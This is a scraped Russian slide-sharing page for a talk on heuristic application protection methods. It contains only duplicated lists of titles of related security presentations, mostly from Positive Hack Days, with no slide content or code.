Практика обнаружения атак, использующих легальные инструментыПрактика обнаружения атак, использующих легальные инструменты
Практика обнаружения атак, использующих легальные инструменты
 
Статистика по результатам тестирований на проникновение и анализа защищенност...
Статистика по результатам тестирований на проникновение и анализа защищенност...Статистика по результатам тестирований на проникновение и анализа защищенност...
Статистика по результатам тестирований на проникновение и анализа защищенност...
 
Земсков - Как обеспечить безопасность клиентских сайтов в процессе оказания у...
Земсков - Как обеспечить безопасность клиентских сайтов в процессе оказания у...Земсков - Как обеспечить безопасность клиентских сайтов в процессе оказания у...
Земсков - Как обеспечить безопасность клиентских сайтов в процессе оказания у...
 
Use of fuzz testing
Use of  fuzz testing Use of  fuzz testing
Use of fuzz testing
 
Сергей Белов
Сергей БеловСергей Белов
Сергей Белов
 
Robot Framework: универсальный инструмент автоматизатора
Robot Framework: универсальный инструмент автоматизатораRobot Framework: универсальный инструмент автоматизатора
Robot Framework: универсальный инструмент автоматизатора
 
Трудовые будни охотника на угрозы
Трудовые будни охотника на угрозыТрудовые будни охотника на угрозы
Трудовые будни охотника на угрозы
 
Penetration testing
Penetration testingPenetration testing
Penetration testing
 

Ähnlich wie Эвристические методы защиты приложений

SibirCTF 2016. Практические методы защиты веб-приложений
SibirCTF 2016. Практические методы защиты веб-приложенийSibirCTF 2016. Практические методы защиты веб-приложений
SibirCTF 2016. Практические методы защиты веб-приложенийDenis Kolegov
 
Визуализация взломов в собственной сети PAN
Визуализация взломов в собственной сети PANВизуализация взломов в собственной сети PAN
Визуализация взломов в собственной сети PANАльбина Минуллина
 
Методы выполнения требования 6.6 PCI DSS – практический выбор
Методы выполнения требования 6.6 PCI DSS – практический выборМетоды выполнения требования 6.6 PCI DSS – практический выбор
Методы выполнения требования 6.6 PCI DSS – практический выборDenis Bezkorovayny
 
Blackbox-тестирование веб-приложений
Blackbox-тестирование веб-приложенийBlackbox-тестирование веб-приложений
Blackbox-тестирование веб-приложенийbeched
 
Эволюция атак на веб приложения (Evolution of web applications attacks)
Эволюция атак на веб приложения (Evolution of web applications attacks)Эволюция атак на веб приложения (Evolution of web applications attacks)
Эволюция атак на веб приложения (Evolution of web applications attacks)c3retc3
 
Penetration testing (AS IS)
Penetration testing (AS IS)Penetration testing (AS IS)
Penetration testing (AS IS)Dmitry Evteev
 
Какие вопросы чаще всего задают вендору при выборе решения по информационной ...
Какие вопросы чаще всего задают вендору при выборе решения по информационной ...Какие вопросы чаще всего задают вендору при выборе решения по информационной ...
Какие вопросы чаще всего задают вендору при выборе решения по информационной ...Denis Batrankov, CISSP
 
Обзор современных технологий и продуктов для защиты от инсайдеров_2014.09.16
Обзор современных технологий и продуктов для защиты от инсайдеров_2014.09.16Обзор современных технологий и продуктов для защиты от инсайдеров_2014.09.16
Обзор современных технологий и продуктов для защиты от инсайдеров_2014.09.16DialogueScience
 
Пост-эксплуатация веб-приложений в тестах на проникновение
Пост-эксплуатация веб-приложений в тестах на проникновениеПост-эксплуатация веб-приложений в тестах на проникновение
Пост-эксплуатация веб-приложений в тестах на проникновениеbeched
 
Решения для защиты корпоративных и коммерческих цод
Решения для защиты корпоративных и коммерческих цод Решения для защиты корпоративных и коммерческих цод
Решения для защиты корпоративных и коммерческих цод Denis Batrankov, CISSP
 
Информационная безопасность и web-приложения
Информационная безопасность и web-приложенияИнформационная безопасность и web-приложения
Информационная безопасность и web-приложенияMaxim Krentovskiy
 
SibeCrypt 2016. Практические методы защиты веб-приложений
SibeCrypt 2016. Практические методы защиты веб-приложенийSibeCrypt 2016. Практические методы защиты веб-приложений
SibeCrypt 2016. Практические методы защиты веб-приложенийDenis Kolegov
 
Борьба с вредоносным кодом: от базовых мер к целостной стратегии
Борьба с вредоносным кодом: от базовых мер к целостной стратегииБорьба с вредоносным кодом: от базовых мер к целостной стратегии
Борьба с вредоносным кодом: от базовых мер к целостной стратегииAleksey Lukatskiy
 
11 лекция, петр волков
11 лекция, петр волков11 лекция, петр волков
11 лекция, петр волковkarina krew
 
Как защитить свой сайт, Пётр Волков, лекция в Школе вебмастеров
Как защитить свой сайт, Пётр Волков, лекция в Школе вебмастеровКак защитить свой сайт, Пётр Волков, лекция в Школе вебмастеров
Как защитить свой сайт, Пётр Волков, лекция в Школе вебмастеровYandex
 
Какими функциями должен обладать современный NGFW?
Какими функциями должен обладать современный NGFW?Какими функциями должен обладать современный NGFW?
Какими функциями должен обладать современный NGFW?Aleksey Lukatskiy
 
Практические особенности внедрения систем класса DLP
Практические особенности внедрения систем класса DLPПрактические особенности внедрения систем класса DLP
Практические особенности внедрения систем класса DLPDialogueScience
 
Межсетевые экраны нового поколения Palo Alto Networks
Межсетевые экраны нового поколения Palo Alto NetworksМежсетевые экраны нового поколения Palo Alto Networks
Межсетевые экраны нового поколения Palo Alto NetworksКРОК
 

Ähnlich wie Эвристические методы защиты приложений (20)

Кто сказал «WAF»?
Кто сказал «WAF»?Кто сказал «WAF»?
Кто сказал «WAF»?
 
SibirCTF 2016. Практические методы защиты веб-приложений
SibirCTF 2016. Практические методы защиты веб-приложенийSibirCTF 2016. Практические методы защиты веб-приложений
SibirCTF 2016. Практические методы защиты веб-приложений
 
Визуализация взломов в собственной сети PAN
Визуализация взломов в собственной сети PANВизуализация взломов в собственной сети PAN
Визуализация взломов в собственной сети PAN
 
Методы выполнения требования 6.6 PCI DSS – практический выбор
Методы выполнения требования 6.6 PCI DSS – практический выборМетоды выполнения требования 6.6 PCI DSS – практический выбор
Методы выполнения требования 6.6 PCI DSS – практический выбор
 
Blackbox-тестирование веб-приложений
Blackbox-тестирование веб-приложенийBlackbox-тестирование веб-приложений
Blackbox-тестирование веб-приложений
 
Эволюция атак на веб приложения (Evolution of web applications attacks)
Эволюция атак на веб приложения (Evolution of web applications attacks)Эволюция атак на веб приложения (Evolution of web applications attacks)
Эволюция атак на веб приложения (Evolution of web applications attacks)
 
Penetration testing (AS IS)
Penetration testing (AS IS)Penetration testing (AS IS)
Penetration testing (AS IS)
 
Какие вопросы чаще всего задают вендору при выборе решения по информационной ...
Какие вопросы чаще всего задают вендору при выборе решения по информационной ...Какие вопросы чаще всего задают вендору при выборе решения по информационной ...
Какие вопросы чаще всего задают вендору при выборе решения по информационной ...
 
Обзор современных технологий и продуктов для защиты от инсайдеров_2014.09.16
Обзор современных технологий и продуктов для защиты от инсайдеров_2014.09.16Обзор современных технологий и продуктов для защиты от инсайдеров_2014.09.16
Обзор современных технологий и продуктов для защиты от инсайдеров_2014.09.16
 
Пост-эксплуатация веб-приложений в тестах на проникновение
Пост-эксплуатация веб-приложений в тестах на проникновениеПост-эксплуатация веб-приложений в тестах на проникновение
Пост-эксплуатация веб-приложений в тестах на проникновение
 
Решения для защиты корпоративных и коммерческих цод
Решения для защиты корпоративных и коммерческих цод Решения для защиты корпоративных и коммерческих цод
Решения для защиты корпоративных и коммерческих цод
 
Информационная безопасность и web-приложения
Информационная безопасность и web-приложенияИнформационная безопасность и web-приложения
Информационная безопасность и web-приложения
 
SibeCrypt 2016. Практические методы защиты веб-приложений
SibeCrypt 2016. Практические методы защиты веб-приложенийSibeCrypt 2016. Практические методы защиты веб-приложений
SibeCrypt 2016. Практические методы защиты веб-приложений
 
Secure development
Secure developmentSecure development
Secure development
 
Борьба с вредоносным кодом: от базовых мер к целостной стратегии
Борьба с вредоносным кодом: от базовых мер к целостной стратегииБорьба с вредоносным кодом: от базовых мер к целостной стратегии
Борьба с вредоносным кодом: от базовых мер к целостной стратегии
 
11 лекция, петр волков
11 лекция, петр волков11 лекция, петр волков
11 лекция, петр волков
 
Как защитить свой сайт, Пётр Волков, лекция в Школе вебмастеров
Как защитить свой сайт, Пётр Волков, лекция в Школе вебмастеровКак защитить свой сайт, Пётр Волков, лекция в Школе вебмастеров
Как защитить свой сайт, Пётр Волков, лекция в Школе вебмастеров
 
Какими функциями должен обладать современный NGFW?
Какими функциями должен обладать современный NGFW?Какими функциями должен обладать современный NGFW?
Какими функциями должен обладать современный NGFW?
 
Практические особенности внедрения систем класса DLP
Практические особенности внедрения систем класса DLPПрактические особенности внедрения систем класса DLP
Практические особенности внедрения систем класса DLP
 
Межсетевые экраны нового поколения Palo Alto Networks
Межсетевые экраны нового поколения Palo Alto NetworksМежсетевые экраны нового поколения Palo Alto Networks
Межсетевые экраны нового поколения Palo Alto Networks
 

Mehr von Positive Hack Days

Инструмент ChangelogBuilder для автоматической подготовки Release Notes
Инструмент ChangelogBuilder для автоматической подготовки Release NotesИнструмент ChangelogBuilder для автоматической подготовки Release Notes
Инструмент ChangelogBuilder для автоматической подготовки Release NotesPositive Hack Days
 
Как мы собираем проекты в выделенном окружении в Windows Docker
Как мы собираем проекты в выделенном окружении в Windows DockerКак мы собираем проекты в выделенном окружении в Windows Docker
Как мы собираем проекты в выделенном окружении в Windows DockerPositive Hack Days
 
Типовая сборка и деплой продуктов в Positive Technologies
Типовая сборка и деплой продуктов в Positive TechnologiesТиповая сборка и деплой продуктов в Positive Technologies
Типовая сборка и деплой продуктов в Positive TechnologiesPositive Hack Days
 
Аналитика в проектах: TFS + Qlik
Аналитика в проектах: TFS + QlikАналитика в проектах: TFS + Qlik
Аналитика в проектах: TFS + QlikPositive Hack Days
 
Развитие сообщества Open DevOps Community
Развитие сообщества Open DevOps CommunityРазвитие сообщества Open DevOps Community
Развитие сообщества Open DevOps CommunityPositive Hack Days
 
Методика определения неиспользуемых ресурсов виртуальных машин и автоматизаци...
Методика определения неиспользуемых ресурсов виртуальных машин и автоматизаци...Методика определения неиспользуемых ресурсов виртуальных машин и автоматизаци...
Методика определения неиспользуемых ресурсов виртуальных машин и автоматизаци...Positive Hack Days
 
Формальные методы защиты приложений
Формальные методы защиты приложенийФормальные методы защиты приложений
Формальные методы защиты приложенийPositive Hack Days
 
Теоретические основы Application Security
Теоретические основы Application SecurityТеоретические основы Application Security
Теоретические основы Application SecurityPositive Hack Days
 
Уязвимое Android-приложение: N проверенных способов наступить на грабли
Уязвимое Android-приложение: N проверенных способов наступить на граблиУязвимое Android-приложение: N проверенных способов наступить на грабли
Уязвимое Android-приложение: N проверенных способов наступить на граблиPositive Hack Days
 
Формальная верификация кода на языке Си
Формальная верификация кода на языке СиФормальная верификация кода на языке Си
Формальная верификация кода на языке СиPositive Hack Days
 
Механизмы предотвращения атак в ASP.NET Core
Механизмы предотвращения атак в ASP.NET CoreМеханизмы предотвращения атак в ASP.NET Core
Механизмы предотвращения атак в ASP.NET CorePositive Hack Days
 
SOC для КИИ: израильский опыт
SOC для КИИ: израильский опытSOC для КИИ: израильский опыт
SOC для КИИ: израильский опытPositive Hack Days
 
Honeywell Industrial Cyber Security Lab & Services Center
Honeywell Industrial Cyber Security Lab & Services CenterHoneywell Industrial Cyber Security Lab & Services Center
Honeywell Industrial Cyber Security Lab & Services CenterPositive Hack Days
 
Credential stuffing и брутфорс-атаки
Credential stuffing и брутфорс-атакиCredential stuffing и брутфорс-атаки
Credential stuffing и брутфорс-атакиPositive Hack Days
 
Практический опыт защиты финансовых транзакций клиентов Банка
Практический опыт защиты финансовых транзакций клиентов БанкаПрактический опыт защиты финансовых транзакций клиентов Банка
Практический опыт защиты финансовых транзакций клиентов БанкаPositive Hack Days
 
Решение SafeTouch — доверенный экран для безопасного подтверждения банковских...
Решение SafeTouch — доверенный экран для безопасного подтверждения банковских...Решение SafeTouch — доверенный экран для безопасного подтверждения банковских...
Решение SafeTouch — доверенный экран для безопасного подтверждения банковских...Positive Hack Days
 
Эффективный контроль сотрудников
Эффективный контроль сотрудниковЭффективный контроль сотрудников
Эффективный контроль сотрудниковPositive Hack Days
 
Подход к обеспечению безопасности IoT в Enterprise
Подход к обеспечению безопасности IoT в EnterpriseПодход к обеспечению безопасности IoT в Enterprise
Подход к обеспечению безопасности IoT в EnterprisePositive Hack Days
 
DDoS-атаки в 2016–2017: переворот
DDoS-атаки в 2016–2017: переворотDDoS-атаки в 2016–2017: переворот
DDoS-атаки в 2016–2017: переворотPositive Hack Days
 

Mehr von Positive Hack Days (20)

Инструмент ChangelogBuilder для автоматической подготовки Release Notes
Инструмент ChangelogBuilder для автоматической подготовки Release NotesИнструмент ChangelogBuilder для автоматической подготовки Release Notes
Инструмент ChangelogBuilder для автоматической подготовки Release Notes
 
Как мы собираем проекты в выделенном окружении в Windows Docker
Как мы собираем проекты в выделенном окружении в Windows DockerКак мы собираем проекты в выделенном окружении в Windows Docker
Как мы собираем проекты в выделенном окружении в Windows Docker
 
Типовая сборка и деплой продуктов в Positive Technologies
Типовая сборка и деплой продуктов в Positive TechnologiesТиповая сборка и деплой продуктов в Positive Technologies
Типовая сборка и деплой продуктов в Positive Technologies
 
Аналитика в проектах: TFS + Qlik
Аналитика в проектах: TFS + QlikАналитика в проектах: TFS + Qlik
Аналитика в проектах: TFS + Qlik
 
Развитие сообщества Open DevOps Community
Развитие сообщества Open DevOps CommunityРазвитие сообщества Open DevOps Community
Развитие сообщества Open DevOps Community
 
Методика определения неиспользуемых ресурсов виртуальных машин и автоматизаци...
Методика определения неиспользуемых ресурсов виртуальных машин и автоматизаци...Методика определения неиспользуемых ресурсов виртуальных машин и автоматизаци...
Методика определения неиспользуемых ресурсов виртуальных машин и автоматизаци...
 
Формальные методы защиты приложений
Формальные методы защиты приложенийФормальные методы защиты приложений
Формальные методы защиты приложений
 
Теоретические основы Application Security
Теоретические основы Application SecurityТеоретические основы Application Security
Теоретические основы Application Security
 
Уязвимое Android-приложение: N проверенных способов наступить на грабли
Уязвимое Android-приложение: N проверенных способов наступить на граблиУязвимое Android-приложение: N проверенных способов наступить на грабли
Уязвимое Android-приложение: N проверенных способов наступить на грабли
 
Формальная верификация кода на языке Си
Формальная верификация кода на языке СиФормальная верификация кода на языке Си
Формальная верификация кода на языке Си
 
Механизмы предотвращения атак в ASP.NET Core
Механизмы предотвращения атак в ASP.NET CoreМеханизмы предотвращения атак в ASP.NET Core
Механизмы предотвращения атак в ASP.NET Core
 
SOC для КИИ: израильский опыт
SOC для КИИ: израильский опытSOC для КИИ: израильский опыт
SOC для КИИ: израильский опыт
 
Honeywell Industrial Cyber Security Lab & Services Center
Honeywell Industrial Cyber Security Lab & Services CenterHoneywell Industrial Cyber Security Lab & Services Center
Honeywell Industrial Cyber Security Lab & Services Center
 
Credential stuffing и брутфорс-атаки
Credential stuffing и брутфорс-атакиCredential stuffing и брутфорс-атаки
Credential stuffing и брутфорс-атаки
 
Доклад SiteSecure
Доклад SiteSecureДоклад SiteSecure
Доклад SiteSecure
 
Практический опыт защиты финансовых транзакций клиентов Банка
Практический опыт защиты финансовых транзакций клиентов БанкаПрактический опыт защиты финансовых транзакций клиентов Банка
Практический опыт защиты финансовых транзакций клиентов Банка
 
Решение SafeTouch — доверенный экран для безопасного подтверждения банковских...
Решение SafeTouch — доверенный экран для безопасного подтверждения банковских...Решение SafeTouch — доверенный экран для безопасного подтверждения банковских...
Решение SafeTouch — доверенный экран для безопасного подтверждения банковских...
 
Эффективный контроль сотрудников
Эффективный контроль сотрудниковЭффективный контроль сотрудников
Эффективный контроль сотрудников
 
Подход к обеспечению безопасности IoT в Enterprise
Подход к обеспечению безопасности IoT в EnterpriseПодход к обеспечению безопасности IoT в Enterprise
Подход к обеспечению безопасности IoT в Enterprise
 
DDoS-атаки в 2016–2017: переворот
DDoS-атаки в 2016–2017: переворотDDoS-атаки в 2016–2017: переворот
DDoS-атаки в 2016–2017: переворот
 

Эвристические методы защиты приложений